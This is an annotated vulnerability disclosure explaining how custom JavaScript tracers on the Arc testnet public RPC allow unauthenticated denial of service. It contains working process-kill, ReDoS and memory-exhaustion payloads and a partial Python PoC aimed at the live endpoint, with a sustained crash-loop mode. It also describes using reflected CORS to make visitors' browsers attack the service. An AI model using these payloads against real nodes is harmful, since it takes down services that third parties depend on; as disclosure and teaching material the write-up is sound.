The regress regex engine has no backtracking limit (boa-dev/boa #4643). The whole search runs inside one native call, so neither the JS loop limit nor any interrupt can stop it.

regress is the Rust library Boa uses to run regular expressions. A backtracking limit would be a cap on how many combinations the matcher may try before giving up. There is none, so the matcher keeps trying.

JavaScript
var s=''; for (var i=0;i<N;i++) s+='a'; s+='!';
/^(a+)+$/.test(s);

Line by line:

  1. var s=''; starts with an empty string.
  2. for (var i=0;i<N;i++) s+='a'; appends the letter a N times, building a string of N a's.
  3. s+='!'; appends an exclamation mark, which guarantees the pattern cannot match, forcing the matcher to try every possible way of splitting the a's before giving up.
  4. /^(a+)+$/.test(s); runs the regular expression ^(a+)+$ against the string. The pattern means "one or more groups, each of one or more a's, from start to end". On a string that ends in !, it can never match, so the matcher explores every combination. That number grows exponentially with N.

Live measurements: N=22 gives 0.14 s, N=24 gives 0.54 s, N=26 gives 2.28 s, roughly a factor of four per two extra characters. Extrapolated, N=30 is about 37 s and N=40 about 10 hours, per request and per worker thread. A handful of concurrent requests at N around 35 to 40 exhausts the RPC worker pool indefinitely.

Extrapolated means the researcher measured small cases and calculated what larger ones would cost, rather than running them. Concurrent means at the same time. A worker pool is the fixed set of threads available to answer requests. If each request pins one thread for hours, and you send as many requests as there are threads, no thread is left to answer anyone else. That is thread-pool exhaustion.

Step 4: toHex exhausts memory and CPU through host glue

The toHex builtin goes through bytes_from_value, which iterates array.length in a native Rust loop, so the JS loop limit does not apply.

A builtin is a function the environment provides for you, as opposed to one you write. toHex converts bytes to a hexadecimal string. Hexadecimal is base-16 notation, where each byte becomes two characters. bytes_from_value is the Rust function that reads a JavaScript value and turns it into bytes.

JavaScript
var a = []; a.length = 16777215;        // bounded live test (max: 4294967295)
var h = toHex(a); return 'hexlen:' + h.length;

Line by line:

  1. var a = []; creates an empty array.
  2. a.length = 16777215; sets the array's length property to 16,777,215 without actually creating that many elements. JavaScript allows this; the array is now "sparse", meaning most positions are empty.
  3. var h = toHex(a); asks the helper to convert the array to hex. The Rust code loops once per declared length, so it loops 16,777,215 times, even though the array holds almost nothing.
  4. return 'hexlen:' + h.length; returns the length of the resulting string, so you can see how big the answer is.

The comment notes the maximum possible length is 4,294,967,295, which is the largest value a 32-bit unsigned number can hold. The live test used a smaller value on purpose.

Live result: 1.45 s -> {"result":"hexlen:33554432"}, a 33.5 MB hex string built natively. In the lab at 0xffffffff the same request cost 137 s CPU + >12 GB peak RSS + an 8.6 GB output string per request.

RSS stands for Resident Set Size, the amount of physical memory a process is using. 0xffffffff is hexadecimal for 4,294,967,295. So a request of a few hundred bytes can make the server allocate over twelve gigabytes and spend over two minutes of CPU time, and then try to send back an 8.6 GB answer.

Step 5: response amplification

Tracer results are returned with no size cap. In the lab, return 'x'.repeat(512*1024*1024) produced a 512 MB RPC response at 3.77 GB peak RSS, with no cap found: a request of about 200 bytes amplified roughly 4.5 million times. Combined with the arbitrary-origin CORS reflection described below, a single malicious page can make every visitor's browser pull multi-hundred-MB responses from the RPC.

Amplification means a small input producing a huge output. 'x'.repeat(512*1024*1024) builds a string of 512 mebibytes by repeating the letter x. The server builds it, then sends it back. The attacker pays for a tiny request; the server and the victim's browser pay for the huge response.

Step 6: sustained denial of service

The researcher wrote a self-contained PoC, arc_dos.py, with modes for each primitive that log a JSONL evidence trail. sustain mode loops kill requests and probes health between rounds, showing continuous degradation.

A PoC (proof of concept) is a small program that demonstrates the problem. JSONL means JSON Lines: a file where each line is one JSON record, which makes it easy to read and process. A primitive here means a single basic building block of the attack, one technique that can be used on its own.

Bash
python3 arc_dos.py health     # baseline
python3 arc_dos.py kill       # single process-kill + pre/post health evidence
python3 arc_dos.py burn       # single ReDoS thread-burn
python3 arc_dos.py exhaust    # single toHex memory/CPU exhaustion
python3 arc_dos.py sustain    # loop kills + health probes -> evidence JSONL

Line by line:

  1. python3 arc_dos.py health runs the script in health mode, which sends harmless checks and records the answers. This is the baseline: what normal looks like.
  2. python3 arc_dos.py kill sends one process-kill request and records health before and after, so the crash and recovery are both documented.
  3. python3 arc_dos.py burn sends one ReDoS request, to measure how long one thread can be pinned.
  4. python3 arc_dos.py exhaust sends one toHex request, to measure memory and CPU consumption.
  5. python3 arc_dos.py sustain repeats kill requests in a loop with health probes between rounds, to show that the endpoint never stabilises while the attack continues.
Python
#!/usr/bin/env python3
"""
arc_dos.py - PoC: sustained unauthenticated DoS of the Arc testnet public RPC
=============================================================================

Evidence tool for the issue "Unauthenticated custom JavaScript execution in
Arc RPC debug tracing -> remote process termination / sustained node DoS".

The Arc public RPC endpoints (rpc.testnet.arc.network and its QuickNode
mirror) expose go-ethereum-style custom JavaScript tracers via
`debug_traceCall` / `debug_traceTransaction`. The embedded engine is Boa
(boa_engine 0.21.x) wired through revm-inspectors' JsInspector, with:

  * no wall-clock execution timeout,
  * no interrupt/cancellation API in the engine,
  * no memory / result-size caps,
  * panic containment only for *unwinding* panics.

This script demonstrates, against the live endpoint, three independent
unauthenticated primitives:

  1. KILL   - remote process termination of the RPC backend worker, two
              independent vectors (both uncatchable / catch_unwind-proof):
                a) parser stack overflow  -> SIGABRT of the worker thread
                b) Map+GC BorrowMutError  -> non-unwinding panic in a GC
                   finalizer -> whole-process abort (boa-dev/boa #5337)
  2. BURN   - thread-pool exhaustion via unbounded RegExp backtracking
              (regress engine, boa-dev/boa #4643). One request pins one
              worker thread for attacker-chosen CPU time (hours at N~40).
  3. EXHAUST -  memory/CPU exhaustion via the host-glue `toHex` builtin,
              which iterates attacker-controlled array lengths natively
              (immune to the 200k JS loop limit).

`sustain` mode loops KILL requests and verifies that the endpoint is
continuously degraded (backends cycling) - the "keep the node down"
 evidence mode.

Edit the globals below to configure. Run:
  python3 arc_dos.py health
  python3 arc_dos.py kill
  python3 arc_dos.py burn
  python3 arc_dos.py exhaust
  python3 arc_dos.py sustain

All requests/responses are logged as JSONL (stdout and EVIDENCE_PATH) with
timestamps, latency, and response body - the run itself is the evidence bundle.
"""

import json
import threading
import time
import urllib.error
import urllib.request
from datetime import datetime, timezone

# ----------------------------- configuration -------------------------------
TARGET = "https://rpc.testnet.arc.network"

KILL_VECTOR = "mapgc"   # "mapgc" (non-unwinding process abort) or "parser" (stack overflow)
REDOS_N = 26            # backtracking input length: 26 ~2.3s, 30 ~37s, 40 ~10h per request
EXHAUST_LEN = 16777215  # array length for the toHex host-glue exhaustion (max: 4294967295)

SUSTAIN_ROUNDS = 20     # sustain mode: number of kill rounds
SUSTAIN_WORKERS = 2     # sustain mode: concurrent kill requests per round
SUSTAIN_INTERVAL = 8.0  # sustain mode: seconds between rounds

EVIDENCE_PATH = "arc_dos_evidence.jsonl"  # set to None to log to stdout only
# ---------------------------------------------------------------------------

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
                  "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36",
    "Content-Type": "application/json",
}
ZERO = "[redacted]"

def tracer_health():
    return ("({result:function(ctx,db){return 'HEALTH_OK';},"
            "fault:function(){},step:function(){}})")

def tracer_kill_parser(depth=2000):
    # Parser stack overflow: recursive-descent parser recurses natively on
    # nested parens; ~150 is enough on a 2MB tokio worker stack. Uncatchable.
    return ("({result:function(ctx,db){ try { Function('('.repeat(%d));"
            " return 'SURVIVED'; } catch(e){ return 'CAUGHT:'+String(e); } },"
            "fault:function(){},step:function(){}})" % depth)

def tracer_kill_mapgc():
    # boa-dev/boa #5337: Map iterator allocation while GC finalizes a dead
    # MapLock -> BorrowMutError in a destructor -> non-unwinding abort.
    # Fires in <0.1s of native work; catch_unwind cannot contain it.
    return ("({result:function(ctx,db){ var m=new Map();"
            " for(var i=0;i<1000;i++) m.set(i,i);"
            " for(var j=0;j<199000;j++){ m.entries(); }"
            " return 'SURVIVED'; },fault:function(){},step:function(){}})")

def tracer_burn_redos(n):
    # regress #4643: no backtracking limit. Runtime doubles per +1 char.
    # CPU burns inside ONE native call, so the 200k JS loop limit and the
    # absence of an interrupt API don't help.
    return ("({result:function(ctx,db){ var s=''; for(var i=0;i<%d;i++) s+='a';"
            " s+='!'; var t0=Date.now(); /^(a+)+$/.test(s);"
            " return 'redos ms:'+(Date.now()-t0); },"
            "fault:function(){},step:function(){}})" % n)

def tracer_exhaust_tohex(length):
    # bytes_from_value iterates array.length NATIVELY (Rust loop) -> immune
    # to the JS loop limit. 0xffffffff entries -> 137s CPU + ~12GB RSS +
    # an 8.6GB output string per request (measured in the target-matched lab).
    return ("({result:function(ctx,db){ var a=[]; a.length=%d;"
            " var h=toHex(a); return 'hexlen:'+h.length; },"
            "fault:function(){},step:function(){}})" % length)

KILL_VECTORS = {"parser": tracer_kill_parser, "mapgc": tracer_kill_mapgc}

class EvidenceLog:
    def __init__(self, path):
        self.lock = threading.Lock()
        self.fh = open(path, "a") if path else None

    def emit(self, record):
        record["ts"] = datetime.now(timezone.utc).isoformat()
        line = json.dumps(record)
        with self.lock:
            print(line)
            if self.fh:
                self.fh.write(line + "\n")
                self.fh.flush()

    def close(self):
        if self.fh:
            self.fh.close()

def rpc_call(tracer, req_id, timeout=90):
    payload = {
        "jsonrpc": "2.0", "id": req_id, "method": "debug_traceCall",
        "params": [
            {"from": ZERO, "

This is a long script, so here is what each part does, in order.

  1. The opening triple-quoted block is a docstring, a description embedded in the file. It explains what the tool is for, what the three primitives are, and how to run it. It is not executed.
  2. import json, import threading, import time, import urllib.error, import urllib.request, from datetime import datetime, timezone load Python's built-in modules: JSON handling, threads, timing, HTTP requests, and timestamps.
  3. The configuration block sets TARGET to the endpoint URL, KILL_VECTOR to "mapgc" (the Map plus garbage collector vector) or "parser", REDOS_N to 26, EXHAUST_LEN to 16,777,215, and the sustain settings: 20 rounds, 2 concurrent workers per round, 8 seconds between rounds. EVIDENCE_PATH names the file where evidence is written.
  4. HEADERS sets the HTTP headers. The User-Agent makes the request look like it comes from a normal Chrome browser. Content-Type: application/json tells the server the body is JSON. ZERO is an all-zero address, used as a placeholder sender and recipient.
  5. tracer_health() returns a tiny tracer whose result function simply returns 'HEALTH_OK'. This is the health check. The fault and step functions are required by the tracer interface but do nothing here.
  6. tracer_kill_parser(depth=2000) returns the parser stack overflow tracer, with the depth inserted into the string. The comment explains that about 150 is enough on a 2 MB worker stack and that the crash is uncatchable.
  7. tracer_kill_mapgc() returns the Map plus GC tracer. The comment names the upstream issue, boa-dev/boa #5337, and explains that the abort is non-unwinding and cannot be contained by catch_unwind.
  8. tracer_burn_redos(n) returns the ReDoS tracer, with N inserted. It also times the regex with Date.now() before and after, so the response reports how many milliseconds the match took.
  9. tracer_exhaust_tohex(length) returns the toHex tracer, with the array length inserted. The comment records the lab measurement: 137 seconds of CPU, about 12 GB of memory, and an 8.6 GB output string per request.
  10. KILL_VECTORS is a dictionary mapping the names "parser" and "mapgc" to the two functions, so the configuration can pick one by name.
  11. class EvidenceLog handles writing evidence. It opens the file in append mode ("a"), uses a lock so that concurrent threads do not interleave their writes, adds a UTC timestamp to each record, prints the JSON line, and writes it to the file. close() closes the file.
  12. rpc_call(tracer, req_id, timeout=90) builds the JSON-RPC request. The payload dictionary has jsonrpc set to "2.0", an id, the method debug_traceCall, and params: a call object with from, to and data, the string "latest" for the block, and a dictionary containing the tracer. It sends the request with urllib.request, measures elapsed time with time.time(), and returns the duration and the parsed response. If the server returns an HTTP error, it captures the code and the first 300 characters of the body. If anything else goes wrong, it captures the error text.
  13. send_logged calls rpc_call, then writes a record with the kind of request, its id, the latency rounded to milliseconds, and the response.
  14. is_healthy checks whether the response is a dictionary whose result equals "HEALTH_OK".
  15. cmd_health sends three health checks and prints OK or DEGRADED for each.
  16. cmd_kill sends a health check, then the chosen kill vector, then three more health checks with one second between them. It prints a verdict: if the request took more than 25 seconds and the response contains an error, it labels it the process-kill signature, because 30 seconds is the load balancer timeout.
  17. cmd_burn sends one ReDoS request with the configured N and prints the result.
  18. cmd_exhaust sends one toHex request with the configured array length and prints the result.
  19. cmd_sustain is the sustained mode. It sends a baseline health check, then for each round starts SUSTAIN_WORKERS threads that each send a kill request, waits for them all to finish, sends a health probe, prints the round's state, and sleeps for the configured interval. The nonlocal counter line lets the inner function increment the outer counter, so the total number of kill requests is reported at the end.
  20. main() reads the mode from the command line, defaulting to health, creates the log, dispatches to the right command, and always closes the log in a finally block.
  21. if __name__ == "__main__": runs main() when the file is executed directly.

Verified live in kill mode: pre-health OK, the kill request returns internal error after 30.15 s, the first post-probe times out (backend down), and subsequent probes are OK after LB/restart recovery. The report states that repeating the loop keeps the fleet in a crash-restart cycle, and that with enough workers and ReDoS mixed in, new requests starve behind burned threads.

A fleet is the collection of backend servers behind the load balancer. A crash-restart cycle means each backend crashes, is restarted automatically, and is crashed again. Starve means legitimate requests wait for a free thread that never becomes free.

Additional lab findings, not detonated live

These were reproduced in the lab but deliberately not fired at the live endpoint.

Bug Effect Reference
JSON.stringify native recursion (>=2048-deep object) process kill (SIGABRT) lab crasher-matrix
Proxy chain >=20k deep property get process kill (SIGABRT) lab crasher-matrix
Async-generator .return({get then(){this.then}}) process kill (boa #4515) lab crasher-matrix
'x'.repeat(1<<30) / padStart(2**31) ~25-48 GB unchecked alloc -> OOM kill (boa #5367) lab crasher-matrix
replace amplification (boa #4655) unbounded result build -> OS OOM-kill lab crasher-matrix
4 stale-integer panics (%TypedArray%.slice species-shrink, ArrayBuffer.slice, Atomics.store/load RAB-shrink) per-request panic new bugs found during this research
(-2147483648|0) % (-1|0) (boa #5481) per-request panic -> internal eth error (contained) validated live

Some terms in that table:

  • OOM means out of memory. The operating system kills a process that asks for more memory than exists.
  • Alloc is short for allocation, a request for memory.
  • Stale-integer panic is the researcher's name for a pattern: the code records a length, then a callback you control changes the underlying buffer, and the code later uses the old length. The bounds check then fails and panics.
  • %TypedArray%.slice and ArrayBuffer.prototype.slice are built-in methods that copy part of a typed array or buffer. Species-shrink and RAB-shrink refer to ways a callback can shrink the buffer between the check and the use. RAB stands for resizable array buffer.
  • Atomics.store and Atomics.load are built-ins for shared memory operations.
  • The last row, (-2147483648|0) % (-1|0), is a division of the smallest 32-bit integer by minus one, which overflows. It panics, but the panic unwinds normally, so the node catches it and returns internal eth error. That is useful because it shows exactly where the safety net works and where it does not.

A memory-corruption audit was run as a negative control: the full typed-array detach/shrink-during-callback matrix (40+ cases), GC-pressure reentrancy and host-glue fuzzing (738 executions) found zero OOB read/write, zero UAF and zero heap disclosure. Boa's GcCell borrow guards hold, and ArrayBuffer.prototype.transfer is compiled out because the experimental feature is off. Native RCE was not achievable through this surface with known techniques.

A negative control is a test designed to find something, where finding nothing is itself a useful result. Memory corruption is the class of bugs where a program reads or writes memory it should not, which can lead to running an attacker's code. OOB means out of bounds. UAF means use after free: using memory that has already been released. Heap disclosure means leaking the contents of memory. RCE means remote code execution, the ability to run your own code on the target. Fuzzing means sending large numbers of varied inputs to look for crashes. The conclusion is that this particular surface does not lead to running code on the server; it leads to taking the server down.

Root cause: where the bugs actually live

The bugs sit in three layers, and the layering matters for remediation.

Remediation means fixing the problem. The point of separating layers is that a fix in one layer does not fix the others.

1. Boa engine bugs (upstream, boa-dev/boa and the regress regex crate). These affect any application that embeds Boa 0.21.x to run untrusted JavaScript, not just Arc or reth. The engine is memory-safe Rust, so the reachable bug class is panics and aborts rather than memory corruption, but that is enough for remote process termination.

Upstream means the project that produces the library, as opposed to the project that uses it. If the bug is in Boa, then every product using Boa has the bug, and fixing it in Arc alone would not help the others. Memory-safe means the language prevents the classic memory bugs by design, so the worst an attacker can usually do is crash the program rather than take it over.

  • #5337 (Map plus GC BorrowMutError). Boa's JsMap uses a RefCell-style borrow guard. Map.prototype.entries() mutably borrows the map while allocating the iterator object; that allocation can trigger a GC cycle, whose finalizer for a dead internal MapLock tries to borrow the same cell again, producing BorrowMutError inside a destructor during cleanup. A panic that fires while another panic is being cleaned up is non-unwinding, so the process aborts unconditionally. The trigger needs only about 20k loop iterations of trivial native calls, under 0.1 s. It was fixed on boa main on 2026-04-17 but is present in every released version up to and including 0.21.1.

RefCell is a Rust container that enforces the one-modifier-at-a-time rule at runtime rather than at compile time. MapLock is an internal Boa structure that guards access to a map. boa main means the main development branch, where the fix landed, as opposed to a released version that users install.

  • Parser stack overflow. The recursive-descent parser has no nesting-depth guard. Function('('.repeat(150)) recurses natively about 150 frames deep and overflows the 2 MB tokio worker stack, ending in SIGABRT. A stack overflow is a fatal runtime error, not a panic, so no mechanism can catch it. Tracked as #4397/#1402, open.
  • Serializer, proxy and async-gen native recursion. JSON.stringify on a 2048-deep or deeper object, a 20k-deep or deeper Proxy chain property get, and the async-generator then-getter cycle (#4515) all recurse natively past the worker stack with the same SIGABRT result. The 10k JS-level recursion limit does not cover these paths.
  • #4643 (ReDoS). The regress engine has no backtracking budget. /^(a+)+$/ on N characters explores about 2^N paths, and the entire search runs inside one native call, so neither the JS loop limit nor any interrupt can stop it. Open and unfixed.
  • #5367 / #4655 (memory exhaustion). String.prototype.repeat and padStart build the result via an unchecked Vec::with_capacity (about 24 bytes per element, so repeat(1<<30) requests about 25.7 GB and hits an alloc-failure abort on Linux), and String.prototype.replace builds unbounded result strings (OS OOM-kill observed). Boa has no string-length cap (#4409, open), and its per-ArrayBuffer cap of 1.5 GiB has no count limit.

Vec::with_capacity is a Rust call that reserves memory up front for a list of a given size. Unchecked means the size is not validated against any limit. Alloc-failure abort means the program asks for memory, the system refuses, and the program aborts.

  • #5481 (i32::MIN % -1). A division-overflow panic that fires even in release builds. On this target it is contained: the unwinding panic becomes a per-request internal eth error, which shows exactly where the node's panic containment boundary lies, since it catches unwinding panics only.

2. Host-glue bugs (upstream, paradigmxyz/revm-inspectors). The Rust bindings that expose tracer helpers to JS have their own problems.

  • bytes_from_value unbounded iteration. toHex, toWord, slice and similar helpers accept a plain JS array and loop array.length times in native code, allocating Vec::with_capacity(length) up front. a.length = 0xffffffff yields about 137 s CPU, over 12 GB RSS and an 8.6 GB output string per request, entirely invisible to the JS loop limit. No length cap exists.
  • Four stale-integer panic sites, found during this research. %TypedArray%.slice (species-shrink), ArrayBuffer.prototype.slice, and Atomics.store/load with resizable-buffer shrink via valueOf: bounds are captured, a user callback shrinks the backing buffer, and the native code then slices with the stale length, producing a bounds-checked panic and a per-request DoS.

valueOf is a JavaScript method that the engine calls when it needs a primitive value from an object, so an attacker can put code there that runs at an unexpected moment. Bounds-checked means the code verifies that an index is within the allowed range before using it; when the check fails, it panics.

3. Node configuration (Arc's own attack surface). The debug namespace with string-tracer support is exposed on a public, unauthenticated endpoint, with no wall-clock timeout, no memory or result caps, no rate limiting, and the tracer running in-process, on a thread of the RPC node rather than in an isolated worker process. Every engine and host bug above becomes a remote, unauthenticated node kill only because of this layer, and even a bug-free engine would still allow unbounded compute, since a 199,999-iteration loop of heavy native work is fully within limits.

Rate limiting means refusing to serve too many requests from one source in a given time. Isolated worker process means a separate program that can be killed without affecting the main one. The last sentence is the key insight: even if every bug in Boa and revm-inspectors were fixed, the configuration would still allow an attacker to make the node do an enormous amount of legitimate work, because the only limit is a loop count that does not measure work.

The consequence is that this is not an Arc-specific code bug that one patch retires. Layers 1 and 2 are upstream and affect every Boa or revm-inspectors consumer that runs attacker JavaScript, including any reth fork exposing JS tracers, and Boa is explicitly marketed for embedding untrusted scripts. Until Boa ships interrupt support and the panic sweep reaches a release, the only safe deployment is to not expose string tracers publicly, or to run them in a separate, resource-limited process.

A fork is a copy of a project that develops separately. Panic sweep means a systematic pass through the code fixing panic sites. Resource-limited means the process has hard caps on CPU, memory and time.

Impact: what an attacker could actually do

  • Total, repeatable, unauthenticated availability loss of the Arc public RPC: one packet per backend restart cycle. Any dApp, wallet, explorer or user routed to the public RPC is down for the duration of the attack.

Availability is one of the three classic security goals, alongside confidentiality (keeping data secret) and integrity (keeping data correct). Losing availability means the service cannot be used. A dApp is a decentralised application, a website or app that talks to a blockchain. An explorer is a website for browsing blockchain history. One packet means a single small request is enough to kill a backend, once per restart cycle.

  • Drive-by capability. Both endpoints reflect arbitrary Origin with Access-Control-Allow-Credentials: true (confirmed live), so any website can weaponise its visitors' browsers to fire kill or burn requests, with no infrastructure needed by the attacker.

Origin is the header a browser sends to say which website is making the request. Reflecting it means copying it back in the response. Access-Control-Allow-Credentials: true tells the browser that the request may include the user's credentials. Together, these mean that a malicious page can make every visitor's browser send attack requests to the RPC, and the attacker needs no server of their own. A drive-by attack is one that happens just by visiting a page.

  • Cost asymmetry. Requests of about 200 bytes cause process aborts, multi-minute CPU burns or multi-GB allocations, and defending at the edge is near-impossible because the payloads are syntactically valid JSON-RPC.

Cost asymmetry means the attacker spends almost nothing and the defender spends a lot. Defending at the edge means filtering at the network boundary, before requests reach the servers. Syntactically valid means the request is correctly formed, so a simple filter cannot reject it as malformed.

  • Testnet context. Today the blast radius is testnet infrastructure and the QuickNode mirror, a third party bearing load from Arc's misconfiguration. If the same RPC stack ships to mainnet with debug tracing exposed, this becomes a mainnet-critical availability vulnerability.

Blast radius is the scope of the damage. Mainnet is the real blockchain with real value on it. Ships to mainnet means the same software is deployed for real use.

Fix: what the report recommends

These are the report's recommendations; the report does not describe a fix that was applied.

  1. Disable string (custom JS) tracers on public RPC. Restrict debug_trace* to named tracers (callTracer, prestateTracer) or to authenticated or internal endpoints. This is the only complete fix.

A named tracer is a built-in tracer you select by name, rather than a script you supply. callTracer and prestateTracer are examples. Because you cannot supply code, you cannot make the node run arbitrary work.

  1. If JS tracers must stay public:
    • run the tracer in a separate sandboxed worker process (not a thread) with rlimits (CPU seconds, address space) and a hard wall-clock kill, because a Boa context cannot be interrupted in-process;
    • cap tracer source size, result size and per-request memory;
    • rate-limit per IP and require authentication;
    • upgrade boa_engine past 0.21.1, since the #5337 non-unwinding abort and numerous panic sites are fixed on main, and track boa security issues;
    • cap bytes_from_value input length in revm-inspectors to close the toHex 4 GiB iteration bug.

Sandboxed means confined so that damage stays inside. rlimits are operating-system limits on resources such as CPU time and memory. Address space is the range of memory a process may use. Hard wall-clock kill means the operating system forcibly terminates the process after a fixed real-time limit, regardless of what it is doing. Per IP means per internet address, so one source cannot flood the service.

Short term, the report recommends removing the tracer string parameter from the public debug_traceCall/debug_traceTransaction handlers (allow named tracers only) and putting the full debug namespace behind authentication. Long term: process-isolated tracer execution with resource limits, boa at or above the version fixing #5337, and upstream patches to revm-inspectors (bytes_from_value length cap) and boa (parser and serializer depth guards, several of which landed post-0.21.1).

Depth guards are checks that refuse input nested more than a set number of levels, which stops the parser and serializer from recursing until the stack overflows.

Variants to test: how to check other systems

These are the checks the report suggests for anyone who wants to see whether another system has the same problem. Each one is described as a test and a positive result.

  • Other reth forks exposing JS tracers. Send a benign tracer that returns a constant and check whether debug_traceCall with a tracer string is accepted unauthenticated. A positive result is a result object echoing your constant, which means the same Boa/revm-inspectors stack is reachable.
  • Engine fingerprinting before anything else. Probe TypedArray as an own global property, 'stack' in new Error(), the null.x TypeError text and the Object.prototype key order. A positive result is the Boa signature set from the table above, which tells you the engine bugs apply.
  • Parser depth threshold. Try Function('('.repeat(N)) at increasing N with a health probe between attempts. A positive result is a request that hangs to the load-balancer timeout and returns internal error while a smaller N returns a clean SyntaxError.
  • Map plus GC loop. Run the m.entries() loop just under the loop limit. A positive result is a process abort in under a second, with the backend down on the next probe.
  • Regex backtracking scaling. Time /^(a+)+$/ at N=22, 24 and 26. A positive result is roughly a factor of four per two characters, which extrapolates to hours at N around 40.
  • Host-glue array length. Set a.length to a large value and call toHex. A positive result is a response whose hexlen is twice the array length, with latency and memory growing with the length.
  • Result-size amplification. Return 'x'.repeat(...) at increasing sizes. A positive result is a response body of the requested size with no cap and no error.
  • CORS reflection. Send an arbitrary Origin header and inspect Access-Control-Allow-Origin and Access-Control-Allow-Credentials. A positive result is your origin reflected with credentials allowed, which makes drive-by attacks from any page possible.
  • Stale-integer panics. Exercise %TypedArray%.slice, ArrayBuffer.prototype.slice and Atomics.store/load with a valueOf callback that shrinks a resizable buffer. A positive result is a per-request panic returned as internal eth error.

Glossary

  • Address space: the range of memory a process is allowed to use.
  • Alloc: short for allocation, a request for memory.
  • Alloc-failure abort: a program asking for memory, being refused, and terminating itself.
  • Amplification: a small input producing a disproportionately large output.
  • API (application programming interface): a defined way for one program to ask another program to do something.
  • Availability: the property of a service being usable when needed; losing it is denial of service.
  • Baseline: a measurement of normal behaviour, taken before an experiment, for comparison.
  • Benign: harmless; a request that only checks the service works.
  • BigInt: JavaScript's type for very large whole numbers.
  • Blast radius: the scope of the damage an attack can cause.
  • Boa: a JavaScript engine written in Rust, used here to run custom tracers.
  • Borrow guard: a runtime marker in Rust that prevents two pieces of code modifying the same value at once.
  • BorrowMutError: the error Rust raises when a second piece of code tries to modify a value that is already borrowed for modification.
  • Bounds-checked: code that verifies an index is within range before using it, and panics if not.
  • Bounded: deliberately kept small so it cannot cause serious harm.
  • Builtin: a function provided by the environment rather than written by the user.
  • Catch_unwind: Rust's mechanism for catching an unwinding panic.
  • Concurrent: happening at the same time.
  • Control: a test with a known, safe input, used to prove that an observed effect comes from the variable under test.
  • CORS (Cross-Origin Resource Sharing): browser rules about which websites may send requests to which servers, controlled by response headers.
  • Crash-restart cycle: a server crashing, being restarted automatically, and crashing again.
  • dApp: a decentralised application that talks to a blockchain.
  • Debug build: a compiled program that keeps extra checks and is slower, used for development.
  • Debug namespace: the family of RPC methods whose names start with debug_, used for tracing and inspection.
  • Denial of service (DoS): an attack that makes a service unusable rather than stealing data.
  • Depth guard: a check that refuses input nested more than a set number of levels.
  • Deterministic: working the same way every time.
  • Drive-by: an attack that happens simply by visiting a page.
  • ECMAScript: the official name of the JavaScript language.
  • Engine: the software that reads and executes JavaScript.
  • EVM (Ethereum Virtual Machine): the part of an Ethereum node that runs blockchain code.
  • Explorer: a website for browsing blockchain history.
  • Extrapolated: calculated for larger cases from measurements of smaller ones.
  • Fingerprinting: identifying a system by asking questions whose answers differ between implementations.
  • Fleet: the collection of backend servers behind a load balancer.
  • Fork: a copy of a project that develops separately.
  • Fuzzing: sending large numbers of varied inputs to look for crashes.
  • Garbage collector (GC): the part of an engine that frees memory no longer in use.
  • GC finalizer: cleanup code that runs when the garbage collector decides an object is dead.
  • geth (go-ethereum): the reference Ethereum node implementation, whose method names many projects copy.
  • goja: the JavaScript engine used by geth.
  • Hard wall-clock kill: the operating system forcibly terminating a process after a fixed real-time limit.
  • Health check: a harmless request whose only purpose is to confirm the service is working.
  • Heap disclosure: leaking the contents of a program's memory.
  • Hexadecimal: base-16 notation, where each byte becomes two characters.
  • Host glue: the Rust code that connects JavaScript to the node's own features.
  • In-process: running inside the same program as the main service, rather than in a separate sandbox.
  • Interrupt API: a way for the surrounding program to tell the engine to stop what it is doing.
  • Isolated worker process: a separate program that can be killed without affecting the main one.
  • JavaScript: the programming language of web pages, also used here as a scripting language on the server.
  • JSON (JavaScript Object Notation): a way of writing data as text, using braces, brackets and quotes.
  • JSON-RPC: a convention for sending requests and responses as JSON documents, naming a method and its parameters.
  • JSONL (JSON Lines): a file format where each line is one JSON record.
  • JSC: the JavaScript engine used by Safari.
  • LB (load balancer): the front door that spreads requests across several backend servers and gives up after a timeout.
  • Local lab: a copy of the target software run on your own machine for safe testing.
  • Mainnet: the real blockchain, with real value on it.
  • Map: a JavaScript container that stores key-value pairs.
  • Memory corruption: bugs where a program reads or writes memory it should not, potentially allowing code execution.
  • Memory-safe: a language design that prevents classic memory bugs.
  • Method: the name of the operation a JSON-RPC request asks for.
  • Namespace: a prefix on method names that groups related methods.
  • Named tracer: a built-in tracer selected by name, rather than a script supplied by the caller.
  • Native work: work done by compiled code underneath JavaScript, invisible to JavaScript-level counters.
  • Negative control: a test designed to find something, where finding nothing is itself a useful result.
  • Non-unwinding panic: a panic that happens while another panic is being cleaned up, which Rust cannot recover from, so the process aborts.
  • OOB (out of bounds): accessing memory outside the allowed range.
  • OOM (out of memory): the operating system killing a process that asks for more memory than exists.
  • Origin: the header a browser sends to say which website is making a request.
  • Panic: what a Rust program does when it hits a situation it cannot handle.
  • Panic sweep: a systematic pass through code fixing panic sites.
  • Params: the details of a JSON-RPC request.
  • Parser: the part of an engine that reads source code and turns it into something runnable.
  • Payload: the content of a request, the part that carries the actual instruction.
  • PoC (proof of concept): a small program that demonstrates a problem.
  • Primitive: a single basic building block of an attack.
  • Probe: a small test request.
  • Proxy: a JavaScript object that intercepts property access and forwards it.
  • quickjs: a small embeddable JavaScript engine.
  • RAB (resizable array buffer): a buffer whose size can change at runtime.
  • Rate limiting: refusing to serve too many requests from one source in a given time.
  • RCE (remote code execution): the ability to run your own code on a target machine.
  • ReDoS (Regular expression Denial of Service): a pattern that is cheap to write but expensive to run, used to tie up a server.
  • Recursive-descent parser: a parser design that calls itself for nested structures, so deep nesting means deep calls.
  • RefCell: a Rust container that enforces the one-modifier-at-a-time rule at runtime.
  • Regex (regular expression): a pattern-matching tool for text.
  • regress: the Rust regular expression library used by Boa.
  • Release build: an optimised compiled program, as deployed on real servers.
  • Remediation: fixing a problem.
  • reth: an Ethereum node implementation written in Rust.
  • revm-inspectors: a Rust library that connects tracing machinery to the JavaScript engine.
  • rlimits: operating-system limits on resources such as CPU time and memory.
  • RPC endpoint: the address a client sends blockchain questions to.
  • RSS (Resident Set Size): the amount of physical memory a process is using.
  • Rust: a programming language designed to prevent memory bugs, used for Boa, revm-inspectors and reth.
  • Sandboxed: confined so that damage stays inside.
  • Serializer: the part of an engine that turns objects into text.
  • SIGABRT: the signal the operating system sends to a program that has aborted itself; in practice, the process is dead.
  • Stack: the region of memory where a program keeps track of nested function calls.
  • Stack overflow: running out of stack space because calls are nested too deeply.
  • Stale-integer panic: a panic caused by using a length recorded before a callback changed the underlying buffer.
  • Starve: legitimate requests waiting for a resource that never becomes free.
